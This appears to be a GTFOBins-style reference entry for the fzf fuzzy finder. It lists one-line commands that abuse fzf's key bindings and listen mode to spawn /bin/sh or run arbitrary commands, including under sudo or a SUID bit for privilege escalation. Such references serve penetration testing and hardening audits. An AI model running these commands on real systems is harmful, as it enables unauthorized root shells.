Shell

This executable can spawn an interactive system shell.
  1. CommentPress Enter to receive the shell.
    This function can be performed by any unprivileged user.
    fzf --bind 'enter:execute(/bin/sh)'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    fzf --bind 'enter:execute(/bin/sh)'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    fzf --bind 'enter:execute(/bin/sh)'

Command

This executable can run non-interactive system commands.
  1. Comment

    Commands can be issued via POST requests, for example:

    curl http://localhost:12345 -d 'execute(/path/to/command)'
    
    This function can be performed by any unprivileged user.
    fzf --listen=12345
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    fzf --listen=12345
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    fzf --listen=12345